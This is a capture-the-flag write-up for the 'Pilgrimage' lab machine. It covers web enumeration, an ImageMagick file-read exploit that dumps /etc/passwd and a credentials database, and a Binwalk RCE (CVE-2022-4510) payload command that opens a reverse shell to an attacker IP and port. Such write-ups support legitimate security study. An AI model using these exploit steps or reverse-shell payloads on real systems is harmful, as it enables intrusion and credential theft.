Pilgrimage

Gaining Access

Nmap scan:

$ nmap -p- --min-rate 3000 10.129.29.28
Starting Nmap 7.93 ( https://nmap.org ) at 2023-06-25 16:31 +08
Warning: 10.129.29.28 giving up on port because retransmission cap hit (10).
Nmap scan report for 10.129.29.28
Host is up (0.17s latency).
Not shown: 60710 closed tcp ports (conn-refused), 4823 filtered tcp ports (no-response)
PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http

We have to add pilgrimage.htb to our /etc/hosts file to view the web application.

Image Shrinker -> .git

The website offers a service to shrink images.

If we upload an image, we would get back a URL:

Interesting! This image is probably being passed somewhere into a command line instance. Anyways, before going that route, I did a directory and subdomain enumeration first using gobuster and wfuzz.

A few directories were picked up by the more popular wordlists, but all led to nothing much. I ran one with the dirsearch.txt wordlist, and found that a .git directory exists on the machine:

$ gobuster dir -w /usr/share/seclists/Discovery/Web-Content/dirsearch.txt -u http://pilgrimage.htb -t 100 
===============================================================
Gobuster v3.3
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://pilgrimage.htb
[+] Method:                  GET
[+] Threads:                 100
[+] Wordlist:                /usr/share/seclists/Discovery/Web-Content/dirsearch.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.3
[+] Timeout:                 10s
===============================================================
2023/06/25 16:38:52 Starting gobuster in directory enumeration mode
===============================================================
/.                    (Status: 200) [Size: 7621]
/.git/config          (Status: 200) [Size: 92]

We can download this entire directory using git-dumper:

$ ./git_dumper.py http://pilgrimage.htb/ /home/kali/htb/season2/pilgrimage

This tool also checks out for us, and we get the source code of the website:

$ ls    
assets  dashboard.php  index.php  login.php  logout.php  magick  register.php  vendor

Image Magick -> LFI

One of the files is the magick binary, which is probably referring to Image Magick. Running it with the --version flag reveals that this is using an oudated version of it:

$ ./magick --version                                                            
Version: ImageMagick 7.1.0-49 beta Q16-HDRI x86_64 c243c9281:20220911 https://imagemagick.org
Copyright: (C) 1999 ImageMagick Studio LLC
License: https://imagemagick.org/script/license.php
Features: Cipher DPC HDRI OpenMP(4.5) 
Delegates (built-in): bzlib djvu fontconfig freetype jbig jng jpeg lcms lqr lzma openexr png raqm tiff webp x xml zlib
Compiler: gcc (7.5)

This version has an LFI vulnerability that can be found on ExploitDB:

The login.php file also has some interesting stuff, showing us how the login authentication works and where the database file is:

$ cat login.php 
<?php
session_start();
if(isset($_SESSION['user'])) {
  header("Location: /dashboard.php");
  exit(0);
}

if ($_SERVER['REQUEST_METHOD'] === 'POST' && $_POST['username'] && $_POST['password']) {
  $username = $_POST['username'];
  $password = $_POST['password'];

  $db = new PDO('sqlite:/var/db/pilgrimage');
  $stmt = $db->prepare("SELECT * FROM users WHERE username = ? and password = ?");
  $stmt->execute(array($username,$password));

  if($stmt->fetchAll()) {
    $_SESSION['user'] = $username;
    header("Location: /dashboard.php");
  }
  else {
    header("Location: /login.php?message=Login failed&status=fail");
  }
}

The exploit path would be to get an LFI and download the entire database to find credentials. The ExploitDB PoC brings us to this repository:

I cloned it and ran this as a first test:

cargo run "/etc/passwd"

Afterwards, we can upload the image.png file to the website and download it again. When we run identify on it, it would some hex stuff appended at the end:

$ identify -verbose ~/Downloads/64980052771c0.png
<TRUNCATED>
    png:text: 4 tEXt/zTXt/iTXt chunks were found
    png:tIME: 2023-06-25T08:52:34Z
    Raw profile type: 

    1437
726f6f743a783a303a303a726f6f743a2f726f6f743a2f62696e2f626173680a6461656d
6f6e3a783a313a313a6461656d6f6e3a2f7573722f7362696e3a2f7573722f7362696e2f
6e6f6c6f67696e0a62696e3a783a323a323a62696e3a2f62696e3a2f7573722f7362696e
2f6e6f6c6f67696e0a7379733a783a333a333a7379733a2f6465763a2f7573722f736269
6e2f6e6f6c6f67696e0a73796e633a783a343a36353533343a73796e633a2f62696e3a2f
62696e2f73796e630a67616d65733a783a353a36303a67616d65733a2f7573722f67616d
65733a2f7573722f7362696e2f6e6f6c6f67696e0a6d616e3a783a363a31323a6d616e3a
2f7661722f63616368652f6d616e3a2f7573722f7362696e2f6e6f6c6f67696e0a6c703a
783a373a373a6c703a2f7661722f73706f6f6c2f6c70643a2f7573722f7362696e2f6e6f
6c6f67696e0a6d61696c3a783a383a383a6d61696c3a2f7661722f6d61696c3a2f757372
2f7362696e2f6e6f6c6f67696e0a6e6577733a783a393a393a6e6577733a2f7661722f73
706f6f6c2f6e6577733a2f7573722f7362696e2f6e6f6c6f67696e0a757563703a783a31
303a31303a757563703a2f7661722f73706f6f6c2f757563703a2f7573722f7362696e2f
6e6f6c6f67696e0a70726f78793a783a31333a31333a70726f78793a2f62696e3a2f7573
722f7362696e2f6e6f6c6f67696e0a7777772d646174613a783a33333a33333a7777772d
646174613a2f7661722f7777773a2f7573722f7362696e2f6e6f6c6f67696e0a6261636b
75703a783a33343a33343a6261636b75703a2f7661722f6261636b7570733a2f7573722f
7362696e2f6e6f6c6f67696e0a6c6973743a783a33383a33383a4d61696c696e67204c69
7374204d616e616765723a2f7661722f6c6973743a2f7573722f7362696e2f6e6f6c6f67
696e0a6972633a783a33393a33393a697263643a2f72756e2f697263643a2f7573722f73
62696e2f6e6f6c6f67696e0a676e6174733a783a34313a34313a476e617473204275672d
5265706f7274696e672053797374656d202861646d696e293a2f7661722f6c69622f676e
6174733a2f7573722f7362696e2f6e6f6c6f67696e0a6e6f626f64793a783a3635353334
3a36353533343a6e6f626f64793a2f6e6f6e6578697374656e743a2f7573722f7362696e
2f6e6f6c6f67696e0a5f6170743a783a3130303a36353533343a3a2f6e6f6e6578697374
656e743a2f7573722f7362696e2f6e6f6c6f67696e0a73797374656d642d6e6574776f72
6b3a783a3130313a3130323a73797374656d64204e6574776f726b204d616e6167656d65
6e742c2c2c3a2f72756e2f73797374656d643a2f7573722f7362696e2f6e6f6c6f67696e
0a73797374656d642d7265736f6c76653a783a3130323a3130333a73797374656d642052
65736f6c7665722c2c2c3a2f72756e2f73797374656d643a2f7573722f7362696e2f6e6f
6c6f67696e0a6d6573736167656275733a783a3130333a3130393a3a2f6e6f6e65786973
74656e743a2f7573722f7362696e2f6e6f6c6f67696e0a73797374656d642d74696d6573
796e633a783a3130343a3131303a73797374656d642054696d652053796e6368726f6e69
7a6174696f6e2c2c2c3a2f72756e2f73797374656d643a2f7573722f7362696e2f6e6f6c
6f67696e0a656d696c793a783a313030303a313030303a656d696c792c2c2c3a2f686f6d
652f656d696c793a2f62696e2f626173680a73797374656d642d636f726564756d703a78
3a3939393a3939393a73797374656d6420436f72652044756d7065723a2f3a2f7573722f
7362696e2f6e6f6c6f67696e0a737368643a783a3130353a36353533343a3a2f72756e2f
737368643a2f7573722f7362696e2f6e6f6c6f67696e0a5f6c617572656c3a783a393938
3a3939383a3a2f7661722f6c6f672f6c617572656c3a2f62696e2f66616c73650a

    signature: d02a8da86fec6ef80c209c8437c76cf8fbecb6528cd7ba95ef93eecc52a171c7

If we convert this to text, we would get the /etc/passwd file, meaning it worked:

Now we can replace the file with /var/db/pilgrimage. This would give us a humongous hex output, and after removing the irrelevant parts, we can convert it using xxd to get a SQLite file.

$ cat output| xxd -r -p > db
$ file db
db: SQLite 3.x database, last written using SQLite version 3034001, file counter 69, database pages 5, cookie 0x4, schema 4, UTF-8, version-valid-for 69

We can use sqlite3 to view the file and find some credentials:

sqlite> SELECT * from users;
emily|abigchonkyboi123

Then, we can ssh as the user emily.

Privilege Escalation

Pspy64 -> Binwalk RCE

Running pspy64 would show this process:

2023/06/25 19:03:22 CMD: UID=0    PID=717    | /bin/bash /usr/sbin/malwarescan.sh

Here's the contents of this script:

#!/bin/bash

blacklist=("Executable script" "Microsoft executable")

/usr/bin/inotifywait -m -e create /var/www/pilgrimage.htb/shrunk/ | while read FILE; do
        filename="/var/www/pilgrimage.htb/shrunk/$(/usr/bin/echo "$FILE" | /usr/bin/tail -n 1 | /usr/bin/sed -n -e 's/^.*CREATE //p')"
        binout="$(/usr/local/bin/binwalk -e "$filename")"
        for banned in "${blacklist[@]}"; do
                if [[ "$binout" == *"$banned"* ]]; then
                        /usr/bin/rm "$filename"
                        break
                fi
        done
done

This uses inotifywait to wait for files present in the /shrunk directory (which is where images uploaded are stored), and then it uses binwalk on them to make sure that there's no hidden stuff within it.

We can enumerate the version of binwalk being used:

emily@pilgrimage:~$ binwalk --help

Binwalk v2.3.2
Craig Heffner, ReFirmLabs
https://github.com/ReFirmLabs/binwalk

There are public RCE exploits for this particular version:

We can use this script to embed a payload within an empty image (run touch sample.png).

$ python3 pe_rce.py sample.png 10.10.14.86 4444

################################################
------------------CVE-2022-4510----------------
################################################
--------Binwalk Remote Command Execution--------
------Binwalk 2.1.2b through 2.3.2 included-----
------------------------------------------------
################################################
----------Exploit by: Etienne Lacoche-----------
---------Contact Twitter: @electr0sm0g----------
------------------Discovered by:----------------
---------Q. Kaiser, ONEKEY Research Lab---------
---------Exploit tested on debian 11------------
################################################


You can now rename and share binwalk_exploit and start your local netcat listener.

Afterwards, we can download this file to the /var/www/pilgrimage.htb/shrunk folder as anything. If you monitor pspy64 output, this would cause the malwarescan.sh script to be run, and our listener port would have a reverse shell!

Rooted!

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